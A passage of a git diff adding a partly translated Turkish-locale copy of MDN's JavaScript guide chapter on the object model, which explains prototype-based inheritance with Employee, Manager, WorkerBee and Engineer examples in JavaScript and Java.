"ja/A_re-introduction_to_JavaScript", + "ko": "ko/A_re-introduction_to_JavaScript", + "pl": "pl/JavaScript/Na_pocz\u0105tek", + "ru": "ru/\u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435_\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0432_JavaScript", + "zh-cn": "cn/A_re-introduction_to_JavaScript", + "zh-tw": "zh_tw/\u91cd\u65b0\u4ecb\u7d39_JavaScript", + "es": "es/JavaScript/Una_nueva_introducción_a_JavaScript"}); +</pre> diff --git a/files/tr/web/javascript/guide/details_of_the_object_model/index.html b/files/tr/web/javascript/guide/details_of_the_object_model/index.html new file mode 100644 index 0000000000..160959eda2 --- /dev/null +++ b/files/tr/web/javascript/guide/details_of_the_object_model/index.html @@ -0,0 +1,758 @@ +--- +title: Details of the object model +slug: Web/JavaScript/Guide/Details_of_the_Object_Model +translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Using_promises")}}</div> + +<p class="summary">JavaScript is an object-based language based on prototypes, rather than being class-based. Because of this different basis, it can be less apparent how JavaScript allows you to create hierarchies of objects and to have inheritance of properties and their values. This chapter attempts to clarify the situation.</p> + +<p>This chapter assumes that you are already somewhat familiar with JavaScript and that you have used JavaScript functions to create simple objects.</p> + +<h2 id="Class-based_vs._prototype-based_languages">Class-based vs. prototype-based languages</h2> + +<p>Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances.</p> + +<ul> + <li>A <em>class</em> defines all of the properties that characterize a certain set of objects (considering methods and fields in Java, or members in C++, to be properties). A class is abstract rather than any particular member in a set of objects it describes. For example, the <code>Employee</code> class could represent the set of all employees.</li> + <li>An <em>instance</em>, on the other hand, is the instantiation of a class; that is, one of its members. For example, <code>Victoria</code> could be an instance of the <code>Employee</code> class, representing a particular individual as an employee. An instance has exactly the same properties of its parent class (no more, no less).</li> +</ul> + +<p>A prototype-based language, such as JavaScript, does not make this distinction: it simply has objects. A prototype-based language has the notion of a <em>prototypical object</em>, an object used as a template from which to get the initial properties for a new object. Any object can specify its own properties, either when you create it or at run time. In addition, any object can be associated as the <em>prototype</em> for another object, allowing the second object to share the first object's properties.</p> + +<h3 id="Defining_a_class">Defining a class</h3> + +<p>In class-based languages, you define a class in a separate <em>class definition</em>. In that definition you can specify special methods, called <em>constructors</em>, to create instances of the class. A constructor method can specify initial values for the instance's properties and perform other processing appropriate at creation time. You use the <code>new</code> operator in association with the constructor method to create class instances.</p> + +<p>JavaScript follows a similar model, but does not have a class definition separate from the constructor. Instead, you define a constructor function to create objects with a particular initial set of properties and values. Any JavaScript function can be used as a constructor. You use the <code>new</code> operator with a constructor function to create a new object.</p> + +<div class="blockIndicator note"> +<p>Note that ECMAScript 2015 introduces a <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class declaration</a>:</p> + +<blockquote> +<p>JavaScript classes, introduced in ECMAScript 2015, are primarily syntactical sugar over JavaScript's existing prototype-based inheritance. The class syntax <em>does not</em> introduce a new object-oriented inheritance model to JavaScript.</p> +</blockquote> +</div> + +<h3 id="Subclasses_and_inheritance">Subclasses and inheritance</h3> + +<p>In a class-based language, you create a hierarchy of classes through the class definitions. In a class definition, you can specify that the new class is a <em>subclass</em> of an already existing class. The subclass inherits all the properties of the superclass and additionally can add new properties or modify the inherited ones. For example, assume the <code>Employee</code> class includes only the <code>name</code> and <code>dept</code> properties, and <code>Manager</code> is a subclass of <code>Employee</code> that adds the <code>reports</code> property. In this case, an instance of the <code>Manager</code> class would have all three properties: <code>name</code>, <code>dept</code>, and <code>reports</code>.</p> + +<p>JavaScript implements inheritance by allowing you to associate a prototypical object with any constructor function. So, you can create exactly the <code>Employee</code> — <code>Manager</code> example, but you use slightly different terminology. First you define the <code>Employee</code> constructor function, specifying the <code>name</code> and <code>dept</code> properties. Next, you define the <code>Manager</code> constructor function, calling the <code>Employee</code> constructor and specifying the <code>reports</code> property. Finally, you assign a new object derived from <code>Employee.prototype</code> as the <code>prototype</code> for the <code>Manager</code> constructor function. Then, when you create a new <code>Manager</code>, it inherits the <code>name</code> and <code>dept</code> properties from the <code>Employee</code> object.</p> + +<h3 id="Adding_and_removing_properties">Adding and removing properties</h3> + +<p>In class-based languages, you typically create a class at compile time and then you instantiate instances of the class either at compile time or at run time. You cannot change the number or the type of properties of a class after you define the class. In JavaScript, however, at run time you can add or remove properties of any object. If you add a property to an object that is used as the prototype for a set of objects, the objects for which it is the prototype also get the new property.</p> + +<h3 id="Summary_of_differences">Summary of differences</h3> + +<p>The following table gives a short summary of some of these differences. The rest of this chapter describes the details of using JavaScript constructors and prototypes to create an object hierarchy and compares this to how you would do it in Java.</p> + +<table class="standard-table"> + <caption>Comparison of class-based (Java) and prototype-based (JavaScript) object systems</caption> + <thead> + <tr> + <th scope="row">Category</th> + <th scope="col">Class-based (Java)</th> + <th scope="col">Prototype-based (JavaScript)</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Class vs. Instance</th> + <td>Class and instance are distinct entities.</td> + <td>Tüm nesneler başka bir nesneden miras alabilir.</td> + </tr> + <tr> + <th scope="row">Definition</th> + <td>Define a class with a class definition; instantiate a class with constructor methods.</td> + <td>Define and create a set of objects with constructor functions.</td> + </tr> + <tr> + <th scope="row">Creation of new object</th> + <td><code>new</code> operatörü ile tek bir nesne oluşturulur.</td> + <td>Aynı.</td> + </tr> + <tr> + <th scope="row">Construction of object hierarchy</th> + <td>Construct an object hierarchy by using class definitions to define subclasses of existing classes.</td> + <td> + <p>Construct an object hierarchy by assigning an object as the prototype associated with a constructor function.</p> + </td> + </tr> + <tr> + <th scope="row">Inheritance model</th> + <td>Inherit properties by following the class chain.</td> + <td>Inherit properties by following the prototype chain.</td> + </tr> + <tr> + <th scope="row">Extension of properties</th> + <td>Class definition specifies <em>all</em> properties of all instances of a class. Cannot add properties dynamically at run time.</td> + <td>Constructor function or prototype specifies an <em>initial set</em> of properties. Can add or remove properties dynamically to individual objects or to the entire set of objects.</td> + </tr> + </tbody> +</table> + +<h2 id="The_employee_example">The employee example</h2> + +<p>The remainder of this chapter uses the employee hierarchy shown in the following figure.</p> + +<div style="display: table-row;"> +<div style="display: table-cell; width: 350px; text-align: center; vertical-align: middle; padding: 10px;"> +<p>A simple object hierarchy with the following objects:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p> +</div> + +<div style="display: table-cell; vertical-align: middle; padding: 10px;"> +<ul> + <li><code>Employee</code> has the properties <code>name</code> (whose value defaults to the empty string) and <code>dept</code> (whose value defaults to "general").</li> + <li><code>Manager</code> is based on <code>Employee</code>. It adds the <code>reports</code> property (whose value defaults to an empty array, intended to have an array of <code>Employee</code> objects as its value).</li> + <li><code>WorkerBee</code> is also based on <code>Employee</code>. It adds the <code>projects</code> property (whose value defaults to an empty array, intended to have an array of strings as its value).</li> + <li><code>SalesPerson</code> is based on <code>WorkerBee</code>. It adds the <code>quota</code> property (whose value defaults to 100). It also overrides the <code>dept</code> property with the value "sales", indicating that all salespersons are in the same department.</li> + <li><code>Engineer</code> is based on <code>WorkerBee</code>. It adds the <code>machine</code> property (whose value defaults to the empty string) and also overrides the <code>dept</code> property with the value "engineering".</li> +</ul> +</div> +</div> + +<h2 id="Creating_the_hierarchy">Creating the hierarchy</h2> + +<p>There are several ways to define appropriate constructor functions to implement the Employee hierarchy. How you choose to define them depends largely on what you want to be able to do in your application.</p> + +<p>This section shows how to use very simple (and comparatively inflexible) definitions to demonstrate how to get the inheritance to work. In these definitions, you cannot specify any property values when you create an object. The newly-created object simply gets the default values, which you can change at a later time.</p> + +<p>In a real application, you would probably define constructors that allow you to provide property values at object creation time (see <a href="#More_flexible_constructors">More flexible constructors</a> for information). For now, these simple definitions demonstrate how the inheritance occurs.</p> + +<p>The following Java and JavaScript <code>Employee</code> definitions are similar. The only difference is that you need to specify the type for each property in Java but not in JavaScript (this is due to Java being a <a href="http://en.wikipedia.org/wiki/Strong_and_weak_typing">strongly typed language</a> while JavaScript is a weakly typed language).</p> + +<div class="twocolumns"> +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js">function Employee() { + this.name = ''; + this.dept = 'general'; +} +</pre> + +<h4 id="Java"><br> + Java</h4> + +<pre class="brush: java">public class Employee { + public String name = ""; + public String dept = "general"; +} +</pre> +</div> + +<p>The <code>Manager</code> and <code>WorkerBee</code> definitions show the difference in how to specify the next object higher in the inheritance chain. In JavaScript, you add a prototypical instance as the value of the <code>prototype</code> property of the constructor function, then override the <code>prototype.constructor</code> to the constructor function. You can do so at any time after you define the constructor. In Java, you specify the superclass within the class definition. You cannot change the superclass outside the class definition.</p> + +<div class="twocolumns"> +<h4 id="JavaScript_2">JavaScript</h4> + +<pre class="brush: js">function Manager() { + Employee.call(this); + this.reports = []; +} +Manager.prototype = Object.create(Employee.prototype); +Manager.prototype.constructor = Manager; + +function WorkerBee() { + Employee.call(this); + this.projects = []; +} +WorkerBee.prototype = Object.create(Employee.prototype); +WorkerBee.prototype.constructor = WorkerBee; +</pre> + +<h4 id="Java_2"><br> + Java</h4> + +<pre class="brush: java">public class Manager extends Employee { + public Employee[] reports = + new Employee[0]; +} + + + +public class WorkerBee extends Employee { + public String[] projects = new String[0]; +} + + +</pre> +</div> + +<p> </p> + +<p>The <code>Engineer</code> and <code>SalesPerson</code> definitions create objects that descend from <code>WorkerBee</code> and hence from <code>Employee</code>. An object of these types has properties of all the objects above it in the chain. In addition, these definitions override the inherited value of the <code>dept</code> property with new values specific to these objects.</p> + +<div class="twocolumns"> +<h4 id="JavaScript_3">JavaScript</h4> + +<pre class="brush: js">function SalesPerson() { + WorkerBee.call(this); + this.dept = 'sales'; + this.quota = 100; +} +SalesPerson.prototype = Object.create(WorkerBee.prototype); +SalesPerson.prototype.constructor = SalesPerson; + +function Engineer() { + WorkerBee.call(this); + this.dept = 'engineering'; + this.machine = ''; +} +Engineer.prototype = Object.create(WorkerBee.prototype) +Engineer.prototype.constructor = Engineer; +</pre> + +<h4 id="Java_3"><br> + Java</h4> + +<pre class="brush: java">public class SalesPerson extends WorkerBee { + public String dept = "sales"; + public double quota = 100.0; +} + + +public class Engineer extends WorkerBee { + public String dept = "engineering"; + public String machine = ""; +} + +</pre> +</div> + +<p>Using these definitions, you can create instances of these objects that get the default values for their properties. The next figure illustrates using these JavaScript definitions to create new objects and shows the property values for the new objects.</p> + +<div class="note"> +<p><strong>Note:</strong> The term <em><em>instance</em></em> has a specific technical meaning in class-based languages. In these languages, an instance is an individual instantiation of a class and is fundamentally different from a class. In JavaScript, "instance" does not have this technical meaning because JavaScript does not have this difference between classes and instances. However, in talking about JavaScript, "instance" can be used informally to mean an object created using a particular constructor function. So, in this example, you could informally say that <code><code>jane</code></code> is an instance of <code><code>Engineer</code></code>. Similarly, although the terms <em><em>parent</em>, <em>child</em>, <em>ancestor</em></em>, and <em><em>descendant</em></em> do not have formal meanings in JavaScript; you can use them informally to refer to objects higher or lower in the prototype chain.</p> +</div> + +<h3 id="Creating_objects_with_simple_definitions">Creating objects with simple definitions</h3> + +<div class="twocolumns"> +<h4 id="Object_hierarchy">Object hierarchy</h4> + +<p>The following hierarchy is created using the code on the right side.</p> + +<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p> + +<p> </p> + +<h4 id="Individual_objects_Jim_Sally_Mark_Fred_Jane_etc._Instances_created_from_constructor">Individual objects = Jim, Sally, Mark, Fred, Jane, etc.<br> + "Instances" created from constructor</h4> + +<pre class="brush: js">var jim = new Employee; +// Parentheses can be omitted if the +// constructor takes no arguments. +// jim.name is '' +// jim.dept is 'general' + +var sally = new Manager; +// sally.name is '' +// sally.dept is 'general' +// sally.reports is [] + +var mark = new WorkerBee; +// mark.name is '' +// mark.dept is 'general' +// mark.projects is [] + +var fred = new SalesPerson; +// fred.name is '' +// fred.dept is 'sales' +// fred.projects is [] +// fred.quota is 100 + +var jane = new Engineer; +// jane.name is '' +// jane.dept is 'engineering' +// jane.projects is [] +// jane.machine is '' +</pre> +</div> + +<h2 id="Object_properties">Object properties</h2> + +<p>This section discusses how objects inherit properties from other objects in the prototype chain and what happens when you add a property at run time.</p> + +<h3 id="Inheriting_properties">Inheriting properties</h3> + +<p>Suppose you create the <code>mark</code> object as a <code>WorkerBee</code> with the following statement:</p> + +<pre class="brush: js">var mark = new WorkerBee; +</pre> + +<p>When JavaScript sees the <code>new</code> operator, it creates a new generic object and implicitly sets the value of the internal property [[Prototype]] to the value of <code>WorkerBee.prototype</code> and passes this new object as the value of the <em><code>this</code></em> keyword to the <code>WorkerBee</code> constructor function. The internal [[Prototype]] property determines the prototype chain used to return property values. Once these properties are set, JavaScript returns the new object and the assignment statement sets the variable <code>mark</code> to that object.</p> + +<p>This process does not explicitly put values in the <code>mark</code> object (<em>local</em> values) for the properties that <code>mark</code> inherits from the prototype chain. When you ask for the value of a property, JavaScript first checks to see if the value exists in that object. If it does, that value is returned. If the value is not there locally, JavaScript checks the prototype chain (using the internal [[Prototype]] property). If an object in the prototype chain has a value for the property, that value is returned. If no such property is found, JavaScript says the object does not have the property. In this way, the <code>mark</code> object has the following properties and values:</p> + +<pre class="brush: js">mark.name = ''; +mark.dept = 'general'; +mark.projects = []; +</pre> + +<p>The <code>mark</code> object is assigned local values for the <code>name</code> and <code>dept</code> properties by the Employee constructor. It is assigned a local value for the <code>projects</code> property by the <code>WorkerBee</code> constructor. This gives you inheritance of properties and their values in JavaScript. Some subtleties of this process are discussed in <a href="#Property_inheritance_revisited">Property inheritance revisited</a>.</p> + +<p>Because these constructors do not let you supply instance-specific values, this information is generic. The property values are the default ones shared by all new objects created from <code>WorkerBee</code>. You can, of course, change the values of any of these properties. So, you could give specific information for <code>mark</code> as follows:</p> + +<pre class="brush: js">mark.name = 'Doe, Mark'; +mark.dept = 'admin'; +mark.projects = ['navigator'];</pre> + +<h3 id="Adding_properties">Adding properties</h3> + +<p>In JavaScript, you can add properties to any object at run time. You are not constrained to use only the properties provided by the constructor function. To add a property that is specific to a single object, you assign a value to the object, as follows:</p> + +<pre class="brush: js">mark.bonus = 3000; +</pre> + +<p>Now, the <code>mark</code> object has a <code>bonus</code> property, but no other <code>WorkerBee</code> has this property.</p> + +<p>If you add a new property to an object that is being used as the prototype for a constructor function, you add that property to all objects that inherit properties from the prototype. For example, you can add a <code>specialty</code> property to all employees with the following statement:</p> + +<pre class="brush: js">Employee.prototype.specialty = 'none'; +</pre> + +<p>As soon as JavaScript executes this statement, the <code>mark</code> object also has the <code>specialty</code> property with the value of <code>"none"</code>. The following figure shows the effect of adding this property to the <code>Employee</code> prototype and then overriding it for the <code>Engineer</code> prototype.</p> + +<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br> + <small><strong>Adding properties</strong></small></p> + +<h2 id="More_flexible_constructors">More flexible constructors</h2> + +<p>The constructor functions shown so far do not let you specify property values when you create an instance. As with Java, you can provide arguments to constructors to initialize property values for instances. The following figure shows one way to do this.</p> + +<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br> + <small><strong>Specifying properties in a constructor, take 1</strong></small></p> + +<p>The following table shows the Java and JavaScript definitions for these objects.</p> + +<div class="twocolumns"> +<h4 id="JavaScript_4">JavaScript</h4> + +<h4 id="Java_4">Java</h4> +</div> + +<div class="twocolumns"> +<pre class="brush: js">function Employee(name, dept) { + this.name = name || ''; + this.dept = dept || 'general'; +} +</pre> + +<p> </p> + +<p> </p> + +<p> </p> + +<p> </p> + +<p> </p> + +<pre class="brush: java">public class Employee { + public String name; + public String dept; + public Employee () { + this("", "general"); + } + public Employee (String name) { + this(name, "general"); + } + public Employee (String name, String dept) { + this.name = name; + this.dept = dept; + } +} +</pre> +</div> + +<div class="twocolumns"> +<pre class="brush: js">function WorkerBee(projs) { + + this.projects = projs || []; +} +WorkerBee.prototype = new Employee; +</pre> + +<p> </p> + +<p> </p> + +<p> </p> + +<pre class="brush: java">public class WorkerBee extends Employee { + public String[] projects; + public WorkerBee () { + this(new String[0]); + } + public WorkerBee (String[] projs) { + projects = projs; + } +} +</pre> +</div> + +<div class="twocolumns"> +<pre class="brush: js"> +function Engineer(mach) { + this.dept = 'engineering'; + this.machine = mach || ''; +} +Engineer.prototype = new WorkerBee; +</pre> + +<p> </p> + +<p> </p> + +<p> </p> + +<pre class="brush: java">public class Engineer extends WorkerBee { + public String machine; + public Engineer () { + dept = "engineering"; + machine = ""; + } + public Engineer (String mach) { + dept = "engineering"; + machine = mach; + } +} +</pre> +</div> + +<p>These JavaScript definitions use a special idiom for setting default values:</p> + +<pre class="brush: js">this.name = name || ''; +</pre> + +<p>The JavaScript logical OR operator (<code>||</code>) evaluates its first argument. If that argument converts to true, the operator returns it. Otherwise, the operator returns the value of the second argument. Therefore, this line of code tests to see if <code>name</code> has a useful value for the <code>name</code> property. If it does, it sets <code>this.name</code> to that value. Otherwise, it sets <code>this.name</code> to the empty string. This chapter uses this idiom for brevity; however, it can be puzzling at first glance.</p> + +<div class="note"> +<p><strong>Note:</strong> This may not work as expected if the constructor function is called with arguments which convert to <code><code>false</code></code> (like <code>0</code> (zero) and empty string (<code><code>""</code></code>). In this case the default value will be chosen.</p> +</div> + +<p>With these definitions, when you create an instance of an object, you can specify values for the locally defined properties. You can use the following statement to create a new <code>Engineer</code>:</p> + +<pre class="brush: js">var jane = new Engineer('belau'); +</pre> + +<p><code>Jane</code>'s properties are now:</p> + +<pre class="brush: js">jane.name == ''; +jane.dept == 'engineering'; +jane.projects == []; +jane.machine == 'belau'; +</pre> + +<p>Notice that with these definitions, you cannot specify an initial value for an inherited property such as <code>name</code>. If you want to specify an initial value for inherited properties in JavaScript, you need to add more code to the constructor function.</p> + +<p>So far, the constructor function has created a generic object and then specified local properties and values for the new object. You can have the constructor add more properties by directly calling the constructor function for an object higher in the prototype chain. The following figure shows these new definitions.</p> + +<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br> + <small><strong>Specifying properties in a constructor, take 2</strong></small></p> + +<p>Let's look at one of these definitions in detail. Here's the new definition for the <code>Engineer</code> constructor:</p> + +<pre class="brush: js">function Engineer(name, projs, mach) { + this.base = WorkerBee; + this.base(name, 'engineering', projs); + this.machine = mach || ''; +} +</pre> + +<p>Suppose you create a new <code>Engineer</code> object as follows:</p> + +<pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); +</pre> + +<p>JavaScript follows these steps:</p> + +<ol> + <li>The <code>new</code> operator creates a generic object and sets its <code>__proto__</code> property to <code>Engineer.prototype</code>.</li> + <li>The <code>new</code> operator passes the new object to the <code>Engineer</code> constructor as the value of the <code>this</code> keyword.</li> + <li>The constructor creates a new property called <code>base</code> for that object and assigns the value of the <code>WorkerBee</code> constructor to the <code>base</code> property. This makes the <code>WorkerBee</code> constructor a method of the <code>Engineer</code> object. The name of the <code>base</code> property is not special. You can use any legal property name; <code>base</code> is simply evocative of its purpose.</li> + <li>The constructor calls the <code>base</code> method, passing as its arguments two of the arguments passed to the constructor (<code>"Doe, Jane"</code> and <code>["navigator", "javascript"]</code>) and also the string <code>"engineering"</code>. Explicitly using <code>"engineering"</code> in the constructor indicates that all <code>Engineer</code> objects have the same value for the inherited <code>dept</code> property, and this value overrides the value inherited from <code>Employee</code>.</li> + <li>Because <code>base</code> is a method of <code>Engineer</code>, within the call to <code>base</code>, JavaScript binds the <code>this</code> keyword to the object created in Step 1. Thus, the <code>WorkerBee</code> function in turn passes the <code>"Doe, Jane"</code> and <code>"engineering"</code> arguments to the <code>Employee</code> constructor function. Upon return from the <code>Employee</code> constructor function, the <code>WorkerBee</code> function uses the remaining argument to set the <code>projects</code> property.</li> + <li>Upon return from the <code>base</code> method, the <code>Engineer</code> constructor initializes the object's <code>machine</code> property to <code>"belau"</code>.</li> + <li>Upon return from the constructor, JavaScript assigns the new object to the <code>jane</code> variable.</li> +</ol> + +<p>You might think that, having called the <code>WorkerBee</code> constructor from inside the <code>Engineer</code> constructor, you have set up inheritance appropriately for <code>Engineer</code> objects. This is not the case. Calling the <code>WorkerBee</code> constructor ensures that an <code>Engineer</code> object starts out with the properties specified in all constructor functions that are called. However, if you later add properties to the <code>Employee</code> or <code>WorkerBee</code> prototypes, those properties are not inherited by the <code>Engineer</code> object. For example, assume you have the following statements:</p> + +<pre class="brush: js">function Engineer(name, projs, mach) { + this.base = WorkerBee; + this.base(name, 'engineering', projs); + this.machine = mach || ''; +} +var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); +Employee.prototype.specialty = 'none'; +</pre> + +<p>The <code>jane</code> object does not inherit the <code>specialty</code> property. You still need to explicitly set up the prototype to ensure dynamic inheritance. Assume instead you have these statements:</p> + +<pre class="brush: js">function Engineer(name, projs, mach) { + this.base = WorkerBee; + this.base(name, 'engineering', projs); + this.machine = mach || ''; +} +Engineer.prototype = new WorkerBee; +var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); +Employee.prototype.specialty = 'none'; +</pre> + +<p>Now the value of the <code>jane</code> object's <code>specialty</code> property is "none".</p> + +<p>Another way of inheriting is by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> / <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a> methods. Below are equivalent:</p> + +<div class="twocolumns"> +<pre class="brush: js">function Engineer(name, projs, mach) { + this.base = WorkerBee; + this.base(name, 'engineering', projs); + this.machine = mach || ''; +} +</pre> + +<pre class="brush: js">function Engineer(name, projs, mach) { + WorkerBee.call(this, name, 'engineering', projs); + this.machine = mach || ''; +} +</pre> +</div> + +<p>Using the javascript <code>call()</code> method makes a cleaner implementation because the <code>base</code> is not needed anymore.</p> + +<h2 id="Property_inheritance_revisited">Property inheritance revisited</h2> + +<p>The preceding sections described how JavaScript constructors and prototypes provide hierarchies and inheritance. This section discusses some subtleties that were not necessarily apparent in the earlier discussions.</p> + +<h3 id="Local_versus_inherited_values">Local versus inherited values</h3> + +<p>When you access an object property, JavaScript performs these steps, as described earlier in this chapter:</p> + +<ol> + <li>Check to see if the value exists locally. If it does, return that value.</li> + <li>If there is not a local value, check the prototype chain (using the <code>__proto__</code> property).</li> + <li>If an object in the prototype chain has a value for the specified property, return that value.</li> + <li>If no such property is found, the object does not have the property.</li> +</ol> + +<p>The outcome of these steps depends on how you define things along the way. The original example had these definitions:</p> + +<pre class="brush: js">function Employee() { + this.name = ''; + this.dept = 'general'; +} + +function WorkerBee() { + this.projects = []; +} +WorkerBee.prototype = new Employee; +</pre> + +<p>With these definitions, suppose you create <code>amy</code> as an instance of <code>WorkerBee</code> with the following statement:</p> + +<pre class="brush: js">var amy = new WorkerBee; +</pre> + +<p>The <code>amy</code> object has one local property, <code>projects</code>. The values for the <code>name</code> and <code>dept</code> properties are not local to <code>amy</code> and so derive from the <code>amy</code> object's <code>__proto__</code> property. Thus, <code>amy</code> has these property values:</p> + +<pre class="brush: js">amy.name == ''; +amy.dept == 'general'; +amy.projects == []; +</pre> + +<p>Now suppose you change the value of the <code>name</code> property in the prototype associated with <code>Employee</code>:</p> + +<pre class="brush: js">Employee.prototype.name = 'Unknown'; +</pre> + +<p>At first glance, you might expect that new value to propagate down to all the instances of <code>Employee</code>. However, it does not.</p> + +<p>When you create <em>any</em> instance of the <code>Employee</code> object, that instance gets a <strong>local value</strong> for the <code>name</code> property (the empty string). This means that when you set the <code>WorkerBee</code> prototype by creating a new <code>Employee</code> object, <code>WorkerBee.prototype</code> has a local value for the <code>name</code> property. Therefore, when JavaScript looks up the <code>name</code> property of the <code>amy</code> object (an instance of <code>WorkerBee</code>), JavaScript finds the local value for that property in <code>WorkerBee.prototype</code>. It therefore does not look further up the chain to <code>Employee.prototype</code>.</p> + +<p>If you want to change the value of an object property at run time and have the new value be inherited by all descendants of the object, you cannot define the property in the object's constructor function. Instead, you add it to the constructor's associated prototype. For example, assume you change the preceding code to the following:</p> + +<pre class="brush: js">function Employee() { + this.dept = 'general'; // Note that this.name (a local variable) does not appear here +} +Employee.prototype.name = ''; // A single copy + +function WorkerBee() { + this.projects = []; +} +WorkerBee.prototype = new Employee; + +var amy = new WorkerBee; + +Employee.prototype.name = 'Unknown'; +</pre> + +<p>In this case, the <code>name</code> property of <code>amy</code> becomes "Unknown".</p> + +<p>As these examples show, if you want to have default values for object properties and you want to be able to change the default values at run time, you should set the properties in the constructor's prototype, not in the constructor function itself.</p> + +<h3 id="Determining_instance_relationships">Determining instance relationships</h3> + +<p>Property lookup in JavaScript looks within an object's own properties and, if the property name is not found, it looks within the special object property <code>__proto__</code>. This continues recursively; the process is called "lookup in the prototype chain".</p> + +<p>The special property <code>__proto__</code> is set when an object is constructed; it is set to the value of the constructor's <code>prototype</code> property. So the expression <code>new Foo()</code> creates an object with <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Consequently, changes to the properties of <code class="moz-txt-verticalline">Foo.prototype</code> alters the property lookup for all objects that were created by <code>new Foo()</code>.</p> + +<p>Every object has a <code>__proto__</code> object property (except <code>Object</code>); every function has a <code>prototype</code> object property. So objects can be related by 'prototype inheritance' to other objects. You can test for inheritance by comparing an object's <code>__proto__</code> to a function's <code>prototype</code> object. JavaScript provides a shortcut: the <code>instanceof</code> operator tests an object against a function and returns true if the object inherits from the function prototype. For example,</p> + +<pre class="brush: js">var f = new Foo(); +var isTrue = (f instanceof Foo);</pre> + +<p>For a more detailed example, suppose you have the same set of definitions shown in <a href="#Inheriting_properties">Inheriting properties</a>. Create an <code>Engineer</code> object as follows:</p> + +<pre class="brush: js">var chris = new Engineer('Pigman, Chris', ['jsd'], 'fiji'); +</pre> + +<p>With this object, the following statements are all true:</p> + +<pre class="brush: js">chris.__proto__ == Engineer.prototype; +chris.__proto__.__proto__ == WorkerBee.prototype; +chris.__proto__.__proto__.__proto__ == Employee.prototype; +chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype; +chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null; +</pre> + +<p>Given this, you could write an <code>instanceOf</code> function as follows:</p> + +<pre class="brush: js">function instanceOf(object, constructor) { + object = object.__proto__; + while (object != null) { + if (object == constructor.prototype) + return true; + if (typeof object == 'xml') { + return constructor.prototype == XML.prototype; + } + object = object.__proto__; + } + return false; +} +</pre> + +<div class="note"><strong>Note:</strong> The implementation above checks the type of the object against "xml" in order to work around a quirk of how XML objects are represented in recent versions of JavaScript. See {{ bug(634150) }} if you want the nitty-gritty details.</div> + +<p>Using the instanceOf function defined above, these expressions are true:</p> + +<pre class="brush: js">instanceOf(chris, Engineer) +instanceOf(chris, WorkerBee) +instanceOf(chris, Employee) +instanceOf(chris, Object) +</pre> + +<p>But the following expression is false:</p> + +<pre class="brush: js">instanceOf(chris, SalesPerson) +</pre> + +<h3 id="Global_information_in_constructors">Global information in constructors</h3> + +<p>When you create constructors, you need to be careful if you set global information in the constructor. For example, assume that you want a unique ID to be automatically assigned to each new employee. You could use the following definition for <code>Employee</code>:</p> + +<pre class="brush: js">var idCounter = 1; + +function Employee(name, dept) { + this.name = name || ''; + this.dept = dept || 'general'; + this.id = idCounter++; +} +</pre> + +<p>With this definition, when you create a new <code>Employee</code>, the constructor assigns it the next ID in sequence and then increments the global ID counter. So, if your next statement is the following, <code>victoria.id</code> is 1 and <code>harry.id</code> is 2:</p> + +<pre class="brush: js">var victoria = new Employee('Pigbert, Victoria', 'pubs'); +var harry = new Employee('Tschopik, Harry', 'sales'); +</pre> + +<p>At first glance that seems fine. However, <code>idCounter</code> gets incremented every time an <code>Employee</code> object is created, for whatever purpose. If you create the entire <code>Employee</code> hierarchy shown in this chapter, the <code>Employee</code> constructor is called every time you set up a prototype. Suppose you have the following code:</p> + +<pre class="brush: js">var idCounter = 1; + +function Employee(name, dept) { + this.name = name || ''; + this.dept = dept || 'general'; + this.id = idCounter++; +} + +function Manager(name, dept, reports) {...} +Manager.prototype = new Employee; + +function WorkerBee(name, dept, projs) {...} +WorkerBee.prototype = new Employee; + +function Engineer(name, projs, mach) {...} +Engineer.prototype = new WorkerBee; + +function SalesPerson(name, projs, quota) {...} +SalesPerson.prototype = new WorkerBee; + +var mac = new Engineer('Wood, Mac'); +</pre> + +<p>Further assume that the definitions omitted here have the <code>base</code> property and call the constructor above them in the prototype chain. In this case, by the time the <code>mac</code> object is created, <code>mac.id</code> is 5.</p> + +<p>Depending on the application, it may or may not matter that the counter has been incremented these extra times. If you care about the exact value of this counter, one possible solution involves instead using the following constructor:</p> + +<pre class="brush: js">function Employee(name, dept) { + this.name = name || ''; + this.dept = dept || 'general'; + if (name) + this.id = idCounter++; +} +</pre> + +<p>When you create an instance of <code>Employee</code> to use as a prototype, you do not supply arguments to the constructor. Using this definition of the constructor, when you do not supply arguments, the constructor does not assign a value to the id and does not update the counter. Therefore, for an <code>Employee</code> to get an assigned id, you must specify a name for the employee. In this example, <code>mac.id</code> would be 1.</p> + +<p>Alternatively, you can create a copy of Employee's prototype object to assign to WorkerBee:</p> + +<pre class="brush: js">WorkerBee.prototype = Object.create(Employee.prototype); +// instead of WorkerBee.prototype = new Employee +</pre> + +<h3 id="No_multiple_inheritance">No multiple inheritance</h3> + +<p>Some object-oriented languages allow multiple inheritance. That is, an object can inherit the properties and values from unrelated parent objects. JavaScript does not support multiple inheritance.</p> + +<p>Inheritance of property 